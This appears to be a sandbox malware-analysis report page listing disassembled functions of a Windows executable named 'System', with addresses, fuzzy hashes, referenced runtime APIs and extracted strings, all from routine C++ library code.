Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: e156b7965f5a78edd26b9392e9ff10746d28d4ee99f19db6ac8fc00c0fbcd491
Instruction ID: 78705a41e328671628bcfa71d8935eb5941811c33f7ee26345c6a8d705606422
Opcode Fuzzy Hash: e156b7965f5a78edd26b9392e9ff10746d28d4ee99f19db6ac8fc00c0fbcd491
Instruction Fuzzy Hash: 9E617D32909B8585E760DB15E4407EABBA0FB86B98F044225EF9D43B99DF3CE590CB00

Function 00007FF6A54CA228 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 96COMMON

Download Yara Rule

APIs

_Getvals.LIBCPMT ref: 00007FF6A54CA2A6

Part of subcall function 00007FF6A54C9FF0: std::_Maklocwcs.LIBCPMT ref: 00007FF6A54CA010
Part of subcall function 00007FF6A54C9FF0: std::_Maklocwcs.LIBCPMT ref: 00007FF6A54CA02D
Part of subcall function 00007FF6A54C9FF0: std::_Maklocwcs.LIBCPMT ref: 00007FF6A54CA04A

Strings

+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v, xrefs: 00007FF6A54CA2DF
$+xv, xrefs: 00007FF6A54CA34F
$+xv, xrefs: 00007FF6A54CA2D8

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Maklocwcsstd::_$Getvals
String ID: $+xv$$+xv$+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v
API String ID: 1848906033-3573081731
Opcode ID: 20d17f0921c237d0de6d91384bc47cf2696aee48f3005f21adfec8ed185b2984
Instruction ID: 830715c157c44f9e103d36f04c0c0b248bf0407bed348defbc595a5843000de7
Opcode Fuzzy Hash: 20d17f0921c237d0de6d91384bc47cf2696aee48f3005f21adfec8ed185b2984
Instruction Fuzzy Hash: 9C418E72A09B918BE764CB26D09036E7BB1FB96B41F054225DB8A83E52DF28F855C740

Function 00007FF6A54CA4FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00007FF6A54CA5A2
_Maklocstr.LIBCPMT ref: 00007FF6A54CA5B8

Strings

false, xrefs: 00007FF6A54CA59B
true, xrefs: 00007FF6A54CA5B1

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Maklocstr
String ID: false$true
API String ID: 2987148671-2658103896
Opcode ID: b7d1604d96d86383e41236cad14531fac3b77cce468fc734a9d049e5f0c58e54
Instruction ID: 02780b287b29d61de92f6d5cac7cb7bfa34cfcb9cff59f5426bf5e16a24d3beb
Opcode Fuzzy Hash: b7d1604d96d86383e41236cad14531fac3b77cce468fc734a9d049e5f0c58e54
Instruction Fuzzy Hash: 22416823B19B8599E710DF70E4401ED33B0FB99B88B414126EE4D67A5AEF38D9A5C384

Function 00007FF6A54B3C10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A54B4888: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF6A54B3C21), ref: 00007FF6A54B489D

Part of subcall function 00007FF6A54B486C: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF6A54B3C2B), ref: 00007FF6A54B4875

_Subatomic.LIBCONCRTD ref: 00007FF6A54B3C7E
_Subatomic.LIBCONCRTD ref: 00007FF6A54B3D1A

Strings

d, xrefs: 00007FF6A54B3C4D

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: PerformanceQuerySubatomic$CounterFrequency
String ID: d
API String ID: 3831891851-2564639436
Opcode ID: 64ebd66bc83ceef4b8d15525a455d3072b0243a7d4ac053826e9364530fc143a
Instruction ID: 9048f5e4366cab849f9b85f811c91c0f41b4608b95a50ecbbcecb3c999c304da
Opcode Fuzzy Hash: 64ebd66bc83ceef4b8d15525a455d3072b0243a7d4ac053826e9364530fc143a
Instruction Fuzzy Hash: C631F43260EB8481DAA0DB1AF48136AB7A5F7C5B94F015136E6CE87B69EF3CD5108B00

Function 00007FF6A54A25E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32 ref: 00007FF6A54A2631
shared_ptr.LIBCMTD ref: 00007FF6A54A265E
CoUninitialize.OLE32 ref: 00007FF6A54A270F

Strings

", xrefs: 00007FF6A54A2609

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: InitializeUninitializeshared_ptr
String ID: "
API String ID: 4131599277-123907689
Opcode ID: efcb042e080e67c259898b0013473d7730a1d8b333d2afaad245a6d2cb1685fd
Instruction ID: fe647aa98c8049f2d040eb01b7bffecbab084df49ed9bb140730a1c89c161a55
Opcode Fuzzy Hash: efcb042e080e67c259898b0013473d7730a1d8b333d2afaad245a6d2cb1685fd
Instruction Fuzzy Hash: 6E31E87651E68186E7A0DB14E45436AB7A0EB86B94F502036FB8A87B68DF7CD844CB00

Function 00007FF6A54F84D0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6A54F854F
WriteFile.KERNEL32 ref: 00007FF6A54F8817
WriteFile.KERNEL32 ref: 00007FF6A54F885D
GetLastError.KERNEL32 ref: 00007FF6A54F8913

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 211312053549f8ee8b16daa413eb884fc66a327672e7ef1e31147716bce4d710
Instruction ID: 703dfccb5feaf7b7778978f50262407520900c1486757605e19c862eceb7d2c1
Opcode Fuzzy Hash: 211312053549f8ee8b16daa413eb884fc66a327672e7ef1e31147716bce4d710
Instruction Fuzzy Hash: A1D1F432B09A819AE711CF79D4406AC37B1FB46F98F144236DE5D9BB99DE38D91AC300

Function 00007FF6A54F8DF8 Relevance: 6.2, APIs: 4, Instructions: 218COMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6A54F8DE3), ref: 00007FF6A54F8F14
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6A54F8DE3), ref: 00007FF6A54F8F9F

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: f1375f970a76da0d44942091db7df71d344221770975c47f3dfdc3c3d97817d0
Instruction ID: 06502282e75aa5d0cf2225d4172d872b7454a26103d1f6a8c732176ce1a0b10b
Opcode Fuzzy Hash: f1375f970a76da0d44942091db7df71d344221770975c47f3dfdc3c3d97817d0
Instruction Fuzzy Hash: 0A91B672B1965299FB50CF6994802BD3BA0EF46F88F544139DE0EDBA95DF38D889C310

Function 00007FF6A54AC6B0 Relevance: 6.2, APIs: 4, Instructions: 203COMMON

Download Yara Rule

APIs

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54AC6D2
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54AC87D
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54AC892

Part of subcall function 00007FF6A54B3960: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54B396E
Part of subcall function 00007FF6A54B3960: _Max_value.LIBCPMTD ref: 00007FF6A54B3993
Part of subcall function 00007FF6A54B3960: _Min_value.LIBCPMTD ref: 00007FF6A54B39C1

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF6A54AC9C7

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork$Max_valueMin_value
String ID:
API String ID: 348937374-0
Opcode ID: 52043a82d91c0c531d7f0aa650638332654ae7400ce2e9716a245f7f6f74b5a4
Instruction ID: 2db579cd7b1309c023f635a47583861e925396d2c49d933716134b89fd50b502
Opcode Fuzzy Hash: 52043a82d91c0c531d7f0aa650638332654ae7400ce2e9716a245f7f6f74b5a4
Instruction Fuzzy Hash: 3AA1ED2661EB8585DAA0DB56E49036FB7A0F7C9BC4F004136EBCD87B6ADE2CD4508B40

Function 00007FF6A54D7148 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D715D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D7182
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D71AC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D7244

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 20f952b95b39423f2e834fb4f9d70f19447ce98c27c7846c75932ab472913a72
Instruction ID: fe28e7bdd71dfe413ecc841b2ce5e333d430563eea951c1c2b2f8d0901af55fd
Opcode Fuzzy Hash: 20f952b95b39423f2e834fb4f9d70f19447ce98c27c7846c75932ab472913a72
Instruction Fuzzy Hash: 92418526B0AA4291EB15EB55E4402BC63A5FF46FA4F580132DE4DC77A6DE7CEC82C310

Function 00007FF6A54C5748 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C575D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C5782
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C57AC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C5844

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 5f102a975c722a4baeed48626eb4b926815fe391fbe247a745d5d4ede05e206a
Instruction ID: 729d89cb73d541d291d802c6a95be680af62414a637f311ba0198945b6b4acb3
Opcode Fuzzy Hash: 5f102a975c722a4baeed48626eb4b926815fe391fbe247a745d5d4ede05e206a
Instruction Fuzzy Hash: 92415E26A0BA4281EA15EF55E4401BC6761FF96FA4F180532DE1D87696DF7CFC86C320

Function 00007FF6A54B82A8 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B82C5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54B82EA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B8314
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54B83AC

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 654737a287ff8c336bcfb59873d788543a12bafc940bcce2ca611e93a6fda962
Instruction ID: 033bfe95b99b23ae0fc293b63382ac1f7f11c9f2f94063bb8091497a1d798b84
Opcode Fuzzy Hash: 654737a287ff8c336bcfb59873d788543a12bafc940bcce2ca611e93a6fda962
Instruction Fuzzy Hash: 88416E36A0AA4291EA15EF55E4401BC6761FF86F90F0A1231DE1DC7296DE3CEC42C320

Function 00007FF6A54E83D0 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E8449
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E84A5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E84E0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54E8505

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 82ef9762d116206a9ccbb816db9741084e886a717f3aa28472a3f8edb0d32f9b
Instruction ID: f8404488ff9a24dd150141b30a929a678e45b3058a8919a1135cafde74a7981e
Opcode Fuzzy Hash: 82ef9762d116206a9ccbb816db9741084e886a717f3aa28472a3f8edb0d32f9b
Instruction Fuzzy Hash: DF41322290AAC5D9EB52DF25D4142F93BA0EB47F58F498071CB8D8734AEE3D9845C311

Function 00007FF6A54C5630 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C5645
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C566A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C5694
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C572C

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 850366757b357ba1f3bdf3103d901588ad0ebbeae1cb3b2b79265ac9088d748a
Instruction ID: 3a25c10f8bb387f0753d3bcc7011adf28e1576606e169eda4bfb23b05b2cfb08
Opcode Fuzzy Hash: 850366757b357ba1f3bdf3103d901588ad0ebbeae1cb3b2b79265ac9088d748a
Instruction Fuzzy Hash: 1E314D36A0BA4285EA05EF55E8401BD6761EF96FA0F180131DA0D876A6DF7CFC86C320

Function 00007FF6A54C52E8 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C52FD
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C5322
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C534C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C53E4

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: b214aa75b3925880e37dfd82643918b82af9d5d8fae4848c120db6a7df8e30af
Instruction ID: 3306bcc01eea131fc942c4345cdb58f877ce82d351b4be5259e5e7ec470c350e
Opcode Fuzzy Hash: b214aa75b3925880e37dfd82643918b82af9d5d8fae4848c120db6a7df8e30af
Instruction Fuzzy Hash: 55318025A0AA4281EB05EF55E4401BD6761EF96FA0F580132DA0DC77A5DFBCFC46C320

Function 00007FF6A54C5518 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C552D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C5552
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C557C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C5614

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: dd61e209954328c3efc53be8d5d4842e416a8f47be5cb8321d95453dd1f5f65a
Instruction ID: 79d13d1d18f1a2d054c4d15749974cf0a1fb0567e435c8d2eabdfa9f7a5e1807
Opcode Fuzzy Hash: dd61e209954328c3efc53be8d5d4842e416a8f47be5cb8321d95453dd1f5f65a
Instruction Fuzzy Hash: 60318E25A0AA4285FA05EF55E8001BD6761FF96FA1F080532DA0DC76A9DF7CFC46C320

Function 00007FF6A54C5400 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C5415
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C543A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C5464
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C54FC

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: e73724cc9f484c6959b64651cfc36035642c7cc7c7d88766abc4696fe8a4cb7f
Instruction ID: fd884b50a31183fc3718151cc75c2556de7eacb0997a7d14af99c95bf45abba4
Opcode Fuzzy Hash: e73724cc9f484c6959b64651cfc36035642c7cc7c7d88766abc4696fe8a4cb7f
Instruction Fuzzy Hash: 15314F36A0AA4281EA05EF55E4402BD6761FF96FA1F180231DA1D876A6DF7CFC46C324

Function 00007FF6A54C4E88 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4E9D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4EC2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C4EEC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C4F84

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 4a7da8aed5b6b79ac28b560fab634060b8de61e66efdea0db68f532d6a9d005f
Instruction ID: aed0cf8f8b7d386964fb65a6558d4d740e93fdcd1e13a7cababd9f460bafa725
Opcode Fuzzy Hash: 4a7da8aed5b6b79ac28b560fab634060b8de61e66efdea0db68f532d6a9d005f
Instruction Fuzzy Hash: E1317C25A0AA4281FB05EF56E5401B86761EF86FA5F080532DA4DC76A9DF7CFC4AC320

Function 00007FF6A54D6F18 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D6F2D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D6F52
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6F7C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D7014

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
